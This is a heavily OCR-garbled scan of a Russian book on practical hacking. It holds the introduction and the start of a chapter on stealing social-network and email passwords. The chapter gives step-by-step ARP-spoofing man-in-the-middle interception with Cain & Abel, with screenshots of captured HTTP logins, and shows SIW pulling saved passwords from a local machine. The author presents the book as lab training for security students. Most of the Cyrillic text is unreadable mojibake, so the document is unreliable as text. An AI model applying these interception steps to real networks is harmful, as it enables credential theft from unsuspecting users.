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BBeaneHue

Ckazarb 4ecTHO, elle COBCEM HENAaBHO s He coOWpayics 3aHMMAaTbCs HAMUCAHWUEM 3TOMW
kuuru. [locne Bbixoga Moel mepBoii kuuru "MHcTpymeHTapuii xakepa"', Bonei 06cTos-
TEJIbCTB HAITMCAHHON MHOIO CIy4YaiHO M BCEro 3a TpW HeJeNH, MHE TpeJiarajiu coTpy/-
HUYECTBO BO B3JIOMaX, OOBHUHSUIM B MOJArOTOBKE HOBOTO MOKOJIEHHS! XaKepOB U KOMIIbIO-
TEPHBIX XYJWUTaHOB, YTPOXKaJIK B MOYTE U T. A... [ OBOpHUIM ma)e o0 TOM, YTO pasfel Mo
OpraHu3alMy 3alUThl HaMmMcaH sIKOObI Ul OTBOAA Iia3, 4ToObl "MPOTOJKHYTh" BECh OC-
TaJIbHON MaTepuall, SIBJISIFOLMIACSA OCHOBHBIM MO XaKUHIY. M 3TO HeECMOTps Ha 10CTaTOuU-
HO OONbLIOH MpencTaBieHHbIH TaM 00beM HMHGOPMALMHU MO MPOTUBOACHUCTBHUIO 3JI0-
yMbILIJIEeHHUKaM. TeM He MeHee, 51 Gy1arofapeH BCeM OTKIIMKHYBLUIMMCS.

K u3naHuio HOBOW KHUTM MEHsS MOATOJKHYJIO HE TOJBKO TO, YTO TMOCJE MEPBOro OMnbITa
XOTeJOCh CeNaTh YTO-TO JIy4llle, HOBee, HO U TO, YTO MHTepec K TOi TemMe y uuraTesei
Mo4YeMy-TO CO BpEMEHEM TOJIbKO ycuiuBaeTcs. HermoHsTHO: y Hac — 4TO, CTOJBKO XaKe-
poB? Bpsa nu! Kak yxke He pa3 cka3aHO: Xakepbl Takle KHATM He uuTatoT. K cioBy, Te,
KTO JKIET B KHUTe KaKMX-TO PEeIeHHUH 171 B3JIoMa cocetHero Oankomara uiu [lenrarona,
TaKke MOTYT Cpa3y OTJIOKHMTH STy KHUTY W 3aHSATHCS CBOMMHM jaenamu. Hame nemo —
rOTOBUTBH 3aKOHOMOCITYIIHBIX CTIELIMAITUCTOB, & HE IOHBIX XaKepOB.

B omiaMume or MHOXKecTBa Ipyrux M3JaHMHA Ha TeMy XaKWHIa, B 3TOW KHHre cleaH
YKJIOH HE Ha MpOorpaMMHpOBaHME, a Ha BOIMPOCHI CETEBOrO B3ammojeicTBus. MMeHHO
MO3TOMY OHa HUKOWUM 00pa3oM He siBisieTcs "KOHKYPEHTKOU" MOJOOHBIM IMyOJIMKALIUSIM.
Co0OcTBeHHO, KHMra O TOM, 4TO He oOs3arenbHO nucaTh nporpammbl! Kak mpasumo, Ha
BCE CJTy4YaM JKU3HH YKE €CTh TOTOBbIC pellieHHs. XO0Ts MMEHHO BOT TaKOMW MOJXO/ 3auac-
TYIO ¥ pazapakaeT NpohecCHOHATIbHBIX MPOrpaMMHUCTOB.

Kazanoce Obl, kKak MO>KHO, HE UMesi 0a30BbIX 3HAHMI MO MPOrPaMMHUPOBAHUIO, HAYUYHUTHCS
pa3duparbCcsl B OCHOBaX CO3JaHMsl (PMIIMHIOBOTO cailiTa WM elle Kpy4ye — B TNpueMax
aTak ¢ uHbekuuen Java-ckpuntoB? Oka3zpiBaeTcsi, MokHO. Hayunm! Knaura kak pa3 u go-
Ka3bIBAa€T, YTO HA MEPBOM 3Tare JIIoOoMY, Aake MIKOJIBHUKY, 3alIPOCTO MOXKHO OOOHUTHCH
6e3 aToro... Maso Toro, Ha Bonpoc "Kak v3y4aTh HaCTpOWKY 00OpyIOBaHHs, CTOSLIETO

' BaGun C. Mucrpymenrapuii xakepa. — CI16.: BXB-ITerepGypr, 2014. — 240 c.: wn. — (IasaMu xakepa).



6 BeedeHue

COTHH ThICAY pyOJieil, He Mesl Ha 3TO CPEJCTB U BO3MOXKHOCTEH?" Tak ke ¢ yBEPEHHO-
CThIO OTBETUM — U 3TO MOxkHO! O0yuum!

B »T0li kHMIre BOOOIIE HET IJ1aBbl 0 MeToAax 3auuThl. Ho yBepeH, 4To OOBUHEHMIt B BOC-
NUTAaHUW TPECTYNMHUKOB OBITh HE JIOJDKHO, MOTOMY YTO OHAa MNpEJCTaBJieHAa Kak HEKoe
npakTU4ecKoe mnocobue ais abopartopHeiX padbor Oyaymum WT'-cneumamucram npu
W3y4YeHUHM WUMH OCHOB HH(OPMAalMOHHON 0€30MacHOCTH, WM TMPOCTO WH(OPMATHUKH.
CoOCTBEHHO TakK, B KAY€CTBE OYEPKOB, B KOTOPBIX aBTOP MOCTOSIHHO, COBMECTHO C YMTa-
TeJieM, MPOBOJMT UHTEPECHBIE SKCIIEPUMEHTBI, U BBITMOJHEHO 0011Iee U3JI0KEHNE KHUTH.

[Touemy 31€ch COBCeM HET TEOpPHH, a TOJIbKO MpakTuka? KoHeuHO, KOHLENTyalnbHO s He
npoTuB Teopuu. be3 Teopun Het pyHaamenTabHOCTH B 3HAHUAX. Ho neno B Tom, uto
TPYAOB MO TEOPUU OYEHb M O4YeHb MHOro. C MpakTHKOH ClIOXKHee, AaXKe eCsId KTO-TO W
OepeTtcst MUcaTh C aKLIEHTOM Ha SMIHUPUYECKHe METOAbI MO3HAHMS, TO YTOOBI KHHTa Oblia
"mpaBWJIbHON", OH BCEe PaBHO BoJicii-HeBosiel "ckaTbiBaeTcs" Ha oOLIME PACCYKICHMS.
A pesynbrat? Bot uurara: "Komnanuu, nanumarowue na pabomy ‘“‘ceedcux’”’ 6blnyCKHU-
KO8 8)308 MO CHeyuaibHOCmam, ceéazanHvim ¢ HUbB (unghopmayuonnas bezonacrocmu),
JACAMYIOMCSL HA OMCYMCMGUE ) SMUX GLINYCKHUKOE NPAKMUYECKO20 ONbima, a Maxoice
SHAHUL UMEHHO 8 MOl 00Iacmu, KOMOPAs HYICHA OJ5l 8bINOJIHEHUS. CTIYIHCEOHBIX 005A3aH-
Hocmell. B pesynomame, Hosvix compyonuxose no Hb npuxooumcsa omnpasiame HA OON.
obyuenue u 0on20e 8pemsi ,, 00pausams *“ 00 HyJcHo20 cocmosnus”.

HpI/I BCEM 3TOM XOTECJIOCh, yTOOBI KHUTA OblIa HeﬂOpOFOﬁ. EH.[e " MO3TOMY, 4TOOBI MH-
HUMHU3HUPOBATH LIEHY, 4 3HAYUT, HC CIIMIIKOM YBCJINYUBATDH O6’LCM, B KHUTC (baKTI/I‘IeCKI/I
HET HU CTPOYKHU TECOPHHU.

Wrtak, KHUTa HachILLEHA TPAKTUYECKUMH MPHUEeMaMH o pa3HooOpa3HeIM TeMaM. Kak oka-
3aJI0Ch, HapojA B OoJbliel CTENeHH WHTEPECYIOT MMEHHO pealibHble CrocoObl B3JIOMa,
a He MPOCTpPaHHbIe PeyH O MporpamMmax MM crnocodax 3amutel. [lpuiunocsk noitu Ha mo-
BoAy y umtarens. Bece yureHo. Kpome Toro, B kKHHUTe paccMaTpHBarOTCA NMPUEMBI XaKepa
HE TOJIBKO, HalpUMED, IO B3JIOMY POYTEpPOB, HO U OIKCAHUE TMOJIHOIO LIMKJIA €ro Aajlb-
HEHIIMNX JEUCTBUM, T. €. TO, UTO OH JEJAET Y>KE I0C/Ie MPOHUKHOBEHUS UYepe3 MepBbIid
Gapbep n000M CeTH...

Bce, uTo npuBeneHo B KHUre — MPOBEPEHO, M BBl CMOXKETE 3TO MIOBTOPUTH COOCTBEHHBI-
MU CHJIAMH, YTO HEMaJIOBa)KHO, B JIOMAINHUX YycJIoBHAX. C MHHAMYMOM TeXHUYECKHX
cpenctB. MakTuyecku, 3T0 HabOp J1TabOPATOPHBIX PabOT, BBIMOJHUTH KOTOPbIE CMOXKET
JIO00# XOTs OBI 0 MPUYKMHE TOTO, YTO NMPUBEICHbI CKPUHILIOTHI, OY€Hb MOJIPOOHO OIMUCaH
KaXIbIi 11ar, B 0COOEHHOCTH KOTJla MCIOJIB3YIOTCS mporpamMmbl "moa Linux", u 4to
HEMAaJIOBa)KHO — TPUMEHSFOTCS TIPOTPAMMHBIE AMYJISTOPBI JOPOTOCTOSIIETO 000pyI0-
BaHUs.

OtuacTu, coBceM B HEOOJIBLION CTENEeHH, B MEPBBIX YEThIPEX I1aBaX KHUTH WUCIMOJIb30Ba-
JIMCch MatepHualiel KHUTH "MHcTpyMeHTapuid Xakepa', HO, KOHEUHO e, B HOBOM KOHTEK-
cte. ['maBHas 0COOEHHOCTbH ATOrO M3JaHMS ellle ¥ B TOM, YTO 3[eChb MHOTO BHHMAaHHUs

! Mu)opMAaLIMOHHBIE TEXHOIOIHH.



BeedeHue 7

YAENeHO M3YYeHHIO XaKWHTa ¢ UCMOJb30BaHMEM cMapT(OHOB. A Takke pacCMOTpPEHBI
MpaKkTUYECKUe MeTonbl (MOAUYEPKUBAKO — TMPAKTUYECKUE) HCMHOJB30BAHUS Pady KHBIX
TabJIMLI, O YeM B PYCCKOS3BIYHBIX MCTOUYHMKAX BOOOIE OYEHb MaJlO MOHSATHBIX IMyO/IMKa-
uuii. M s coBceM He YIUBIIIOCH, €CIM TMOC/e MPOYTEHUS TJIaBbl O PadyKHbIX TaOIULaX
Mo0oi YenoBeK, paHee Ja)ke HUKOTJa O HUX He CIIbIIABIINK, 3aX04YeT W, YTO BaXKHO,
CMOYKET CaMOCTOATEJIBHO UX U3rOTaBJIMBATh...

Xo4y BBIPa3UTh MPHU3HATEIBHOCTh BCEM JIIOASM, OKa3aBIIUM MHE TIOMOILb B MOATOTOBKE
HOBOW KHHUTH, B OCOOCHHOCTH — MPUPOXKICHHOMY MaTeMaTUKy AHTpornoBy Muxauny
CepreeBuuy (r. KemepoBo), a Takxke: Lllepuny Anapero Banentunosuuy (r. Kemeposo),
Kunyty MBany Brnagumuposuuy (r. Bnanusocrok), WooR42, Graf Black u Bcem npyrum.



rmABaA 1

[Moyemy cTano cnoxHee NOXUTUTb
naposnb ANnA BXoga B counanbHble CeTu
"BKoHTakTe", "OOoHOKNnacCHUKN"...
PuwnHr. CounanbHas MHXeHepus

Ha NpPaKTUKe

1.1. O0 aTake "4yenoBek nocepeauHe".
Mporpammbl Cain & Abel n SIW

[Naponu — sT0, MOXKaMyH, caMmoe 3aBeTHOE, 3a YeM OXOTHUTCS Jt00oi xakep. Pagu toro
4TO0OBI YKPACTh MapoJib, OH FOTOB Ha JIIOObIE CIIOKHOCTH. Ec BBl oskKaeTe, 4To ceiyac
BaM PacCcKaxyT, KaK [POCTO B3JIOMaTh COLIMANBHBIE CETH, TO MOXKETE cpa3y OTJIOKUTh 3Ty
KHUTY (Oa u mo0yro apyryro). HecMoTps Ha rpoMkHe peksiaMHble 3arojoBKH, B JIIOOOM
M3JaHMHU MO yKa3aHHOM TeMaTHKe paccKas3blBaeTCsi BOBCE HE O B3JIOME CEPBEPOB COLM-
aJBHBIX ceTeil, — 3T0 BooOLIe Bps JIM BO3MOXKHO. HUKTO TakuX peuenToB HE MPUBEET.
W wmbl He uckmouenune. Hama 3amaya — mokasarh, Kak MOTYT MOXMTHTh MMEHHO Ball
napoJb.

Jlns Hauanma HaM HEOOXOJMMO PaccMOTPETh XOPOLIO U3BECTHYIO aTaKy "desioBeK Moce-
peaune".

C uenblo pealiM3alM aTaKW aTaKylOIIMH BCTAaeT MOCepeArHEe MEXAY KepTBaMu (araka
man-in-the-middle), 4ToObpl Te HUYero He 3aMeTHIW, Jake HE OCTaHOBUB Tpaduka
Y 3aMKHYB ero uepe3 ce0s. OcraeTcst TOJIbKO BKIOYUTE CHU(dep U aHaIu3upoBaTh Tpa-
¢uk. 3ameTuM cpa3y: aTaka BO3MOXKHA B TeX ciydasxX ciydasx, Korja naponiu He mud-
pyroTes.

CobepeM HeOOMBILIOW CTEH, UCTIONBb3Ys B HALlIEM Cllydae Ha XOCTax OrepaloHHbIe CHC-
tembl Windows (puc. 1.1).

[Tocne peanuzauuu aTaku Mbl JOJDKHBI MOJYYHUTh YK€ TaKyl0 CXeMy, Kak MMOKa3aHO Ha
puc. 1.2.

Bynem ucnonb30oBaTh Ha aTakyrolleM KOMIbIOTepe CBOOOAHO pacrpocTpaHsembiii B UH-
TepHeTe 3amedarenbHbI Habop — Cain & Abel (Kaun u ABens). [lockonbky Abel mpu-
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MEHSIOT Ha KOMIBIOTEPE XKEePTBE, U 3Ta MPOrpaMma B KIaCCU(PUKALIMK COBPEMEHHBIX aH-
THBUPYCHBIX CPEACTB CHUTAETCS BPEJOHOCHOM, a 3HAUMT, JIETKO OOHApYy>KUBAETCS, TO Mbl
He OyneMm ee paccmarpuBaTh. MHTepec npeacrapnser Cain. [Ijis Toro 4ToObl B KOMILIEKTE
¢ mporpamMmoii pabortan cHU(dep, NP UHCTAIUIALMK COriallaeMcss Ha YCTAHOBKY BXO-
Jsiieii B KOMIUIEKT Takke CBOOOAHO pacrpocTpaHseMoii mporpammel Winpeap.

Bsaumogeiicteue 192.168.0 1 192.168.0.192
C NOYTOBLIM CEPBEPOM [« < > aTakyeMmblil
B UHTe poyTep
pHeTe KOMMNbIOTEP
192.168.0.100
aTakyloLmii
KOMMNbIOTEP
Puc. 1.1
Bsaumogencreune ’ 192.168.0.1 192.168.0.192
C NOYTOBbLIM CEPBEPOM [« aTaKkyeMblin
B UHTe poytep
pHeTe KOMMNblOTEP

A
A
192.168.0.100

aTakyroLmii
KOMNbIOTEP

Puc. 1.2

TTPUMEYAHNE

Ha Bcsikuin cnyyait Bce paBHO OTKIIOYMM aHTUBKMPYCHYO Nporpammy u GpaHamayapbl, XoTs
Y Hac Ha U3y4yaemblii UHCTPYMEHT aHTUBUPYCHasa Nporpamma Hukak He pearvpoanal

Hactpaueaem cuuddep Ha Haly ceteByto Kapty (puc. 1.3).

Onpocum cetb Ha BkJaake Sniffer | Hosts, nonyuus Bce IP- 1 MAC-agpeca cermenra,
B TOM UHMCJIE€ UHTEPECYIOLIUIA Hac B TaHHOM ciy4yae komnbtoTep 192.168.0.102. J{ns sto-
ro npu Haxaroi kHomke Start\Stop Sniffer wenknem no 3xHauky Gombiuoro ruioca (+)
Ha MaHenu UHCTPYMEHTOB (puc. 1.4).

Ha Bxnanke Sniffer| ARP HauHeM 3aiaBaTh XOCTbl, MEXAY KOTOPbIMM HaM HYKHO
BKJIMHUTBCS, IPOU3BOAS NepexBaT Tpaduka. s aToro npu Haxaroit kHonke Start\Stop
Sniffer wenkHem no 3HauKy 60JBLIOTO MUtOCa (+) HA MAHEIU HHCTPYMEHTOB MPOrpaMMbl
(puc. 1.5).

BriGepem anpeca aTakyeMOoro KOMITbIOTEpa M pOyTepa, BIIEINB UX ClieBa U CIIpaBa Co-
OTBETCTBEHHO (puc. 1.6).
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Configuration Dialog

Filters and ports I HTTP Fields I Traceroute I
Certificate Spoofing | Certificates Collector I
Shitfer | APR [ Arp Poizon RBouting I Challenge Spoofing

IF addrezs | Subnet Mask
1592.168.0.100 255.255.255.0

<] 1

—Winpcap Yersion
4.1.0.2001

— Current Metwark, Adapter
YDevice\MPF_{9C524454-4201-4264-9303-947C0A3I7IE I}

| WARNIMG I Only ethernet adapters supported
— Dptiar

[ Start Sniffer on statup [ Don't use Promiscuous mode
[~ Start &PR on startup

1] I OTrieHa [MpHEHITE Cnpaska

Puc. 1.3

File ‘iew Configure Took Help
msam@-y LI NEEe0%2 07 0
Decoders Ig Network Iﬂ Sniffer I.,z’f Cracker Iu Traceroute m Ccou I%" ‘Wireless I% Query I

1P address | MAC address | OUI fingerprint | Host name |83t |e16 (65 |G [mo [m1 [m3 |
152.168.0.1 T4EABAET4ACZ  TP-LINK Technologies Co.,Ltd,

192.168.0.102 00235AF53922 ASUSTek COMPUTER INC,

(wmz [ Routing [T\ Passwords [ vorp

Lost packets: 0%

AN

Puc. 1.4
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B, &) M=

CET-ELIC RE Y

Fer I(.j" Cracker ic Traceroute | CCDU |"j” Wireless |ﬁ Query |

| IP address

| MAC address |

Packets -> [ <- Packets [ MAC address | IP address

[ aPR-Cert (0)

2 APR-DNS

B APR-SSH-1 (0)

5y APR-HTTPS (0)

5y APR-ProxyHTTPS (0)
9% APR-ROP (0)

New ARP Poison Routing -

5y aPR-FTPS (0) ~WARNING !l
&) APR-POP3S (0) APR enables you to hijack IP lraffic between the selected host on the lef st and al selected hosts on the right st in both
) APR-IMAPS (0) A— directions. If a selected host has routing capabilities WAN traffic will be intercepted as well. Please note that since your
Q APR-LDAPS (0) Status machine has not the same performance of a router pou could cause DoS if you set APR between your Default Gateway and |
S APR-SIPS (0) all other hosts on your LAN.
IP address Mac Hostname IP address MAC Hostname
192.168.0.1 TAEAJAET4AC2
192.168.0.102 002354F53322
<l ' 2] [=1 ! 2]
m & Configuration ] Routed Packets |
Hostd | @ aer [ Routing [T\ Passwords [ vore |
Lost packets: Y
Puc. 1.5

New ARP Poison Routing e

WARNING

APR enables you to hijack IP traffic between the selected host on the left list and all selected hosts on the right list in both
directions. If a selected host has routing capabilities WAN traffic will be intercepted as well. Please note that since your

machine has not the same perfarmance of a router you could cause DoS if you set APR between your Default Gateway and
all other hosts on your LAN.

IP address |

MAC | Hostname

IP address | MAC | Hostname

192.168.0.1

TAEAAET4ACZ

192.168.0.102 002354F53322

FAEAZAE 7442

<l

Puc.

1.6
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HaGmonmaem, 4ro npu Hamuuuu Tpaduika ¢ KOMITBIOTEpa JKePTBBI MOKa3aHUS CUETYUKOB
MaKeToB B 00OMX HaMpaBJICHUAX CTaM yBeJnuuBatbes (puc. 1.7).

Hauancs 3axeat maketoB. Ternepb ocTaeTcsl TOJNBKO J0XKIATHCSA, KOT/IA XKEepPTBA MOCETUT
CBOM MOYTOBBIN suMK. Korma-to i MpoBepKHM Mbl MPOM3BOJWIM BXOJI Ha CepBep
www.mail.ru, ucronp3ys y4eTHyIO 3amuch Ijs anapeca babins@inbox.ru c¢ maposem
arptest. [IpuuemM BX0J OCYIIECTBIISUIN MO MPOTOKONY http ¢ MpUMeHeHHWeM CTaHAapTHOTO
Opay3zepa.

| E File Yiew Configure Tools Help

o omER +v 2 R NEEa022 0?2 i

L

lgg Decaders |2 Metwork Iﬂ Sniffer I;J) Cracker I@ Traceroute IM CCou Fﬁ’] Wireless I]’D Query |

@ APR. Status | IP address | MAC address | Packets -> | <- Packets | MAC address IP address |
%’” R-Cert (1) 4 Poisarning 192.168.0.102  00235AFS3922 12 12 TAEAJAETAAC2  192.168.0.1
2 APR-DNS
B APR-S5H-1 (0)
5 APR-HTTPS (2)
5y APR-ProxyHTTPS (0)
T8 4PR-ROP (0)
5 apr-FTPS (0)
5y APR-POP3S (0)
5) APR-IMAPS (0) .
5y APR-LDAPS (0) Status | IP address | MAC address | Packets -> | =- rs | MAC address | IP address
By apr-5IPS (0)

Puc. 1.7

CoOTBeTCTBEHHO, HCKOMbIH pe3yibTaT "oxkupaics" B pasgene HTTP | Passwords
Bkiaaku Sniffer nporpammer Cain (puc. 1.8).

Ecnu 6bl ¢ aTakyeMoro KoMneloTepa rnouTy 3a0Mpajv KakMM-HUOYAb CrieluaTu3upOBaH-
HBbIM TIOYTOBBIM KJIMEHTOM, TO Pe3yJbTaT HEOOXOAMMO ObUIO OXKHMIATh yXe B paszede,
cooTBeTcTBYIOLIeM npoTokony POP3. B apcenane nporpaMMbl MHOTO M3BECTHBIX HIMPO-
KO MCIOJIb3YEMbIX MPOTOKOJIOB.

Urak, nocne coelMHEHUs] aTaKyeMOIro C TMOYTOBBIM CEPBEPOM, KPOME BCIKHX MPOUYUX
uHTepecHbix Beuled, B pazgeine HTTP Haxoaum oxuaaeMbld HaMM Maposb arptest
(puc. 1.9).

Takum 00pa3om, HaxoAiCh B OJTHOM CErMEHTE CETH C >KEPTBOM, NMOTCHLMANILHBIN XaKep
MOXET MOJHOCTBIO MepexBaThIBaTh HEN(POBAHHBIM TpaduK C aTaKyeMOro KOMIIbIOTe-
pa. IloHsTHO, UTO Takyto aTaKky 3JI0YMBILIJICHHUK MOXET MPOBECTH MPOTUB CBOUX COCe-
Jiei, TOJIbKO MOJKIIOUMBIIKCH K TMPOBaiiepy HampsMylo, 0e3 MCMOJIb30BaHUs JIMYHOTO
poyTepa.

Ho He criemmre pagoBaThCs: €civ Bbl MOBTOPUTE BCE B TOYHOCTH, OMMCAHHAs aTaka Bce
paBHO He noiyuutcs. Jleno B Tom, uTO BlaAenblbl nopraina Mail.ru yke nepeBenu cBoM
CepBUCHI Ha aBTOpHM3aLMIO ¢ MpuUMeHeHueM mpoTokona SSL. Ilaponu mepexsarbiBaTh
CTallo CIIOXKHee, T. K. Tpaduk mudpyercs. CooTBETCTBeHHO, U B "OAHOKIIacCCHUKAX" ceii-
yac Toxke ucnonbdyercss SSL. Tlocneanue na-Tpu roga mpakThueckd Bce OecriuiaTHbIe
MOYTOBBIE CEPBEPbI MEPELTM Ha UCIOIb30BaHUE 3AIUMIIEHHOrO MPOTOKOJIa MPY aBTOPH-
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Radius-Keys (1) 16/10/2011 - 14:12:33 94.100,187.181 1921680102  ODiPK2gd4Gw PKYNAEImIwaA  http:ffe.mail.
Radius-Users (0) 16/10/2011 - 14:12:33 94.100,187.181 1921680102  ODIPK2gd4Gw PKYNAEImIwAA  http:ffe.mail.
o 16/10/2011 - 14:12:33 94.100,167.181  192.168.0,102  ODIPK2qd4Gw PKYNAESmIwAA  hitp:ffe.mail.
£ or mew fa 16M102011 - 14:17:33 94, 100,167,191 192, 168,0,10 ODiIPKZad4 Gy PEYNAEAmIwas  htto:fe.mail.

File Yiew Configure Tools Help
+ CHALL CHALL “ ~ =
|| S i v # BRVNmEEIO®2 @2 0
&, Decoders | @ Network |E9 sniffer [of Cracker |4 Tracerowte [ ccou [0 wireless [ Query |
A
¥\ Passwords Tirmestarmp N\ | HTTP server | Client | Username | Password | URL
'y FTP (0)
HTTP (0
£ mep (0)
B3 Loar ()
P POF3 (D)
sib SME (0)
B Telnet (0)
NG (0)
% oS (0)
b ™S (0)
3 sMTP ()
MNTP (0)
DCERPC (0)
M3KerbS-Preduth (0)
Radius-Keys (0)
€ Radius-Users (0)
g 1c
G5 IKE-PSK (0)
¥) MySQL (0)
B SNMP (0)
s SIP(0)
<5 GREJPPP (0) <
< PPPOE (0) @ HTTP
E, Hosts | @ apr | routing |F\ “Passwords |43 vore |
Lost packets: 0%
Puc. 1.8
File Wiew Configure Tools Help
#  CHALL EHALL : & ) 2 5
O || @ o | & B, %) B Q%2 7 1
&, Decoders | Q Metwark |ﬁ'ﬂ Sniffer |d Cracker I@ Traceroute um CCou |(‘a"] Wireless |$) Query |
% Passwords Timestamp | HTTP server | Clienk | Username | Password | URL
FTP {(0) 16/10/2011 - 14:12:16 217.69.135.13 192.165.0.102  ODiPK2gdd4Gw PKYNAEImImdA  hibp:ffunan, mai
HTTP (95) 16/10/2011 - 14:12:16 94,100,191.212 192,188.0.102 ODilPKZgddiGw PEYMNAEIMIwAL http: f e, mai
16/10/2011 - 14:12:16 94,100,191.212 192,168.0.102 ODilPK2gd4Gw PEYNAEImM I http: f e, mai
16{10f2011 - 14:12:17 94.100,191.212 192.165.0.102 ODiIPK 2gddGEw PEYNAEImMIwad itk fenan, mai
16/10f2011 - 14:12:17 94.100,191.212 192.165.0.102 ODiIPK 2gddGEw PEYNAEImMIwad hikkpef fenan, mai
16/10f2011 - 14:12:17 94.100,191.212 192.165.0.102 ODiIPK 2gddGEw PEYNAEImMIwad hikkpef fenan, mai
16/10/2011 - 14:12:17 94,100,191.212 192,168.0.102 ODilPE2gd4Gw PEYMNAEImIvwds http: f e, mai
B Telnet (0) 16/10/2011 - 14:12:17 94.100.191.212  192.168.0.102  ODIlPKZgd4Gw PEYNAESMImAL  http:ffunan, mai
YN (0} 16/10/2011 - 14:112:17 94,100,191.212 192,168.0.102 ODilPK2gd4Gw PEYMNAEIMIwd htEp: fhememer, i
TDS (0} 16{10f2011 - 14:12:17 94.100,191.212 192.165.0.102 ODiIPK 2gddEw PEYNAEImMIwad itk fenan, mai
THS () 16/10/2011 - 14:12:17 94,100,157, 191 192,168.0,102 ODNIPKZgd4Ew PEYNAESmMIwAS  http: /e, mai
SMTP (0 16/10f2011 - 14:12:17 94.100,187.191 192.165.0.102 ODiIPK 2gddGEw PEYNAEImMIwad hikkpef fenan, mai
MNTP (0 16/10/2011 - 14:12:30 94,100,184, 16 192,168.0.102 ODilPE2gd4Gw PEYMNAEImIvwds auth.mail.ru
I DCEIRPC (0 16/10/2011 - 14:12:30 94,100,184, 16 192,188.0.102 BiellLE S AL auth.rnail. ru
f (o 16/10/2011 - 14:112:30 94,100,154, 16 192,168.0.102 auth.rnail. ru
MKerbS-PreAuth (00 | jei10/z011 - 14112:31 94,100,184.16  192.168.0.102 Jwhd  emal.ru
€

Puc. 1.9
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3ammu. Llurara w3 nipeccer: "Cepsuc “Auoexc.llouma’” menepv 6y0em wugposams om-
npasnsemvle u noayuaemvie nucoma no npomoxony SSL/TLS". Unu ewme: "lloumogutil
unmepnem-cepeuc Gmail nepesooum oopabomky 6cex Oelicmeuil noIbL308ameis — Om-
npasxy u 0ocmagxy nucem — na 3awuugennoe HT'TPS-coeounenue”. U Tak nanee...

Tem He MeHee, ONMUCaHHBINA CMIOCOO BOBCE HE yCTapes, ero MOKHO MPUMEHHUTb, CKaXeM,
niepexBaThiBasi NapoJib MOJIL30BATENS HA Pa3IHUHbIX (OpyMax WM APYTUX cepBUCcax, e
MO-MPEKHEMY OTCYTCTBYET IMHU(GPOBAHHOE COCMHEHWE MPH aBTOpU3alMu. BoT mpumep
nepexpara Mpu aBTOPU3alMK HA U3BECTHOM TOppeHT-Tpekepe (puc. 1.10).

File ‘Wiew Configure Tools Help

Passwords

HTTP server

FTP (0} \ 40 0. tep: f
% HTTP (8) 28/07/2015- ... B3.169.59.64  192.168.0.... 10:3430259 HTTR/1.1 1 http:{fads. adfox rufz0243
MBP (0 28/07/2015- ... 79.174.70.232  192.168.0.... 10:3430259 HTTR{1.1 1 htep:{fads, adfox ruf20243
LDAP (07 280712015 - .., 217.69.140,212 192,168.0,.,.  10:8430259 HTTR/1.1 1 http:{fads, adfax ruf20243
T po3 (1) ?8/07/2015- ... 148.251.1.147 192.168.0.... 10:8430259 HTTR/1.1 1 http:{fads. adfox rufz0243
% S5 (1) 28/07/2015- ... 91.109.20.76  192.168.0.... 10:3430259 HTTR{1.1 1 htep:{fads, adfox ruf20243
! Z8/07/2015- ... 91.228.155.61  192.168.0....  10; http:{fads. adfax ruf20243
B Telnet (D) 28/07/2015 - ... 195.82,146.52  192.168.0.... ¢ Gar_Gaf uthonstrDhttp: ffrutracker orgforum,

L.l yrc oy
Puc. 1.10

ITpoGiiema 1151 XaKepa JIMIIb B TOM, YTO, KaK MPaBUIIO, €ro MOTEeHIHaTbHAS JKEPTBA K Ka-
KOMY-JIn00 ¢opyMy oOpainiaeTcsi ropa3fo pexxe, yeMm k noure. Tak yto "oTiaBnuBath"
napoJib MPHUAETCS TEMEPD JOJIbIIIE.

Kcraru, onmvcanHblii MeTOA MOTYT NPUMEHHUTH B Balllel JIOKaJbHOW CETH, HampuMep, Ha
paboTe Ballli MPOJBUHYTHIE COCTY KMBLIbI ITPU aBTOPU3ALIMH C LEIIBIO MOTY4EHHs KaKOro-
0o cepBuca, rlie HeT IWUQpoBaHus Tpaduka U HE MPUMEHSIOTCS CBUTYH.

OTMeTHM TakKe, 4TO Jis npoBeaeHust ataku ARP-spoofing MoKHO MPUMEHSTD U Apyrye
UHCTpyMeHThl! Hanpumep, B 3THX LeIsSX XOpOLIO MNOAXOAMT mporpamma Iptools
(aBTop — Opean JI. (Erwan L.)). [Ipapna, naponu B Heil mepexBaThIBalOTCS HE B aBTOMa-
TUYECKOM PEXKHUME, KaK 3TO Mbl Aejaiu B nporpamme Cain, a Bpy4Hy1O, ¢ MOMOIIBIO MO-
vcka B nor-gaiinax cauddepa. Ho 06 3Toit nporpaMmMe Mbl paccka)eM HECKOJIBKO MO3XKe.

Hrak, monBoas NpoOMEKYTOUHbIE WTOTH, MPEANOJIOKHUM, YTO Mbl JOOMJIUCH CBOEro —
MOJIb30BATENIM Be3/1€ CTAJIM AKTUBHO UCIOJb30BaTh Pa3Hble MapoJd ISl pa3IuYHbIX CHUC-
teM. Ho, omsate Gena. OT 3TOrO CTAajo ele XykKe — OHU Havajik MyTaThes, 3a0bIBaTh HX.
[TosTOMY HY>KHO OpPOAOJLKUTD 3TY IJ1aBy.

HanomHuM Takske, 4to eciu Xxakep noiay4ui (PU3MUecKuii AOCTYN K BalleMy KOMIbIOTe-
py... — Ja Jaxke He XaKep, a NpOCTO Baill 3HaKOMbIA — TO BCE! Y Bac 0oJibllle HUKAKUX
cekperoB! A 3Haere, moyemy? Bce Bamiy mapoiu B COLMANBbHBIX ceTsaX "OTHOKIACCHU-
k", "BKoHTakre", 1as goctyna K rnoure — KyJa YroAaHO — YBUAUT MPOCTEHbKas Mpo-
rpamMka nog HaszanueMm SIW (System Information for Windows), kotopas Moxer,
HarpuMep, aHalu3upoBath cookies-daiinbl, a Takke KM paboThl MpOrpamMM Ui CUM-
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|8 System Information for Windows © Gabriel Topala - Funning on & sMAINPL

File Edit Software Hardware Metwork Tools Help
. ) alg C Fail ~ 5 N Ep
PJE L2 =QYVOEE TS B2 T ADD

= (L) Software Resource Type Resource Name
i’_ 7 Operating System IE Password-Protected Site 192,168.0, 1:60/TP-LINK Wireless M Gigabit Router WR10,,
[ System Directories IE Passward-Protected Site 192,168.0,20:80/DC5-2130
B svstem Files
:._'j Installed Programs
Applications
'C' Secutity
' Ackivey
[@» shell Extensions
| Open Files
3 Groups and Users
TA Protected Files

Password

babin 7955nna
F955mna

= % Hardware
1M system Summary
B Motherboard

Puc. 1.11

ThIBaHUS UMEH M MapoJiel MocelaeMblX BaM1 caiitoB (HeOomblune (aiiibl, npencTrasisito-
